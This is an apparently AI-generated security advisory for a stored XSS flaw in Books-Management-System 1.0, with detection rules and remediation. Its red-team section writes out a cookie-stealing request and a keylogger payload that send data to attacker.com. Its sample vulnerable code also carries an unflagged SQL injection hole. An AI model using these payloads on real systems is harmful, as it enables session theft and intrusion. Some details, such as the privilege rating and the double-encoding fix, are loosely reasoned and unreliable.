CVE-2025-3961

Executive Summary

CVE-2025-3961 is a stored cross-site scripting (XSS) vulnerability in the withstars Books-Management-System version 1.0. The flaw exists in the /admin/article/add/do endpoint, where the Title argument is not properly sanitized before being stored and later rendered. An attacker can inject arbitrary JavaScript or HTML, which will execute in the context of any administrator viewing the affected article. The product is explicitly marked as end-of-life and unsupported by the maintainer, meaning no official patch will be released. The exploit has been publicly disclosed, increasing the risk of active scanning and exploitation.

Supply Chain & Package Security

This is a custom PHP application, not a package from NPM, PyPI, Go, or Ruby registries. No supply chain package security implications apply.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Base Score: 6.1 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: Required (UI:R) – victim must click the crafted link or view the malicious article.
• Scope: Changed (S:C) – the injected script can affect resources beyond the vulnerable component.
• Confidentiality Impact: Low (C:L) – limited data exfiltration possible.
• Integrity Impact: Low (I:L) – content modification possible.
• Availability Impact: None (A:N)

Threat Level: Medium. The vulnerability is trivial to exploit, but requires user interaction (admin viewing the article). Given the public exploit and unsupported status, active exploitation is likely.

Deep Dive & Mechanics

The vulnerability resides in the article creation functionality. When an administrator submits a new article via /admin/article/add/do, the Title parameter is stored in the database without proper sanitization or output encoding. When the article is later rendered in the admin panel (e.g., in a list or detail view), the unsanitized Title is injected directly into the HTML DOM.

Root Cause: The application uses echo $_POST['Title'] or similar without applying htmlspecialchars(), strip_tags(), or any context-aware escaping. This allows an attacker to inject arbitrary HTML/JavaScript.

Attack Flow:

1. Attacker crafts a POST request to /admin/article/add/do with a malicious Title payload, e.g., <script>alert('XSS')</script>.
2. The payload is stored in the database.
3. An administrator navigates to the article list or edit page.
4. The stored payload is rendered in the browser, executing the injected script.
5. The script can steal session cookies, perform actions on behalf of the admin, or deface the page.

Vulnerable vs. Patched Code

Vulnerable Code (PHP):

<?php
// /admin/article/add/do
$title = $_POST['Title'];
$sql = "INSERT INTO articles (title) VALUES ('$title')";
mysqli_query($conn, $sql);
// Later, when displaying:
echo "<h2>" . $row['title'] . "</h2>";
?>

Patched Code (Hypothetical):

<?php
// /admin/article/add/do
$title = htmlspecialchars($_POST['Title'], ENT_QUOTES, 'UTF-8');
$stmt = $conn->prepare("INSERT INTO articles (title) VALUES (?)");
$stmt->bind_param("s", $title);
$stmt->execute();
// Later, when displaying:
echo "<h2>" . htmlspecialchars($row['title'], ENT_QUOTES, 'UTF-8') . "</h2>";
?>

Exploitation & Lab Setup

Red Team

Prerequisites:

• A running instance of Books-Management-System 1.0.
• Access to the admin panel (or ability to trick an admin into viewing the malicious article).

Exploit Steps:

1. Send a POST request to /admin/article/add/do with the following payload:

POST /admin/article/add/do HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded

Title=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>&Content=Test

2. Wait for an admin to view the article list or the article detail page.
3. The injected script will execute, sending the admin's session cookie to the attacker's server.

Alternative Payload (Keylogger):

<input onfocus="document.addEventListener('keydown',function(e){fetch('https://attacker.com/k?k='+e.key)})" autofocus>

Blue Team

Detection:

• Monitor HTTP POST requests to /admin/article/add/do for suspicious Title parameters containing <script>, onerror=, onload=, or other event handlers.
• Look for outbound connections to unknown domains shortly after an admin accesses the article management pages.

Hunting:

• Search database entries in the articles table for HTML tags in the title column.
• Review web server logs for requests containing encoded XSS payloads in the Title parameter.

Indicators of Compromise (IOCs)

• Network:
  • Outbound HTTP requests to attacker-controlled domains from the web server.
  • POST requests to /admin/article/add/do with Title containing <script>, onerror, onload, or javascript:.
• File System:
  • No specific file artifacts; the payload is stored in the database.
• Logs:
  • Web server access logs showing POST /admin/article/add/do with suspicious Title values.
  • Database logs showing INSERT statements with HTML/JavaScript in the title column.

Detection Engineering

YARA Rule

rule CVE_2025_3961_XSS_Payload {
    meta:
        description = "Detects XSS payloads targeting CVE-2025-3961 in HTTP requests"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-3961"
    strings:
        $xss1 = /<script[^>]*>.*<\/script>/i
        $xss2 = /onerror\s*=\s*["']?[^"'\s>]+/i
        $xss3 = /onload\s*=\s*["']?[^"'\s>]+/i
        $xss4 = /javascript\s*:\s*/i
    condition:
        any of ($xss*) and http.method == "POST" and http.uri contains "/admin/article/add/do"
}

Sigma Rule

title: CVE-2025-3961 XSS Attempt in Books-Management-System
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects XSS payloads in Title parameter of POST requests to /admin/article/add/do
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: POST
        cs-uri-stem: /admin/article/add/do
        cs-uri-query|contains: 
            - '<script'
            - 'onerror='
            - 'onload='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of HTML in article titles (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-3961 XSS Attempt in Books-Management-System"; flow:to_server; http.method; content:"POST"; http.uri; content:"/admin/article/add/do"; http.client_body; content:"Title="; pcre:"/Title=[^&]*<script[^>]*>.*<\/script>/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the application: If the Books-Management-System is still in use, isolate it from the internet and restrict access to trusted IPs only.
2. Apply virtual patching: Use a Web Application Firewall (WAF) to block requests containing XSS patterns in the Title parameter.
3. Disable the vulnerable endpoint: If possible, remove or disable the /admin/article/add/do functionality.

Long-Term Remediation:

• Migrate to a supported alternative: Since the product is end-of-life, migrate to a maintained book management system.
• Code fix: If source code is available, apply input validation and output encoding as shown in the patched code example.

Valters IT Signature

Report generated by Valters IT DevSecOps AI Assistant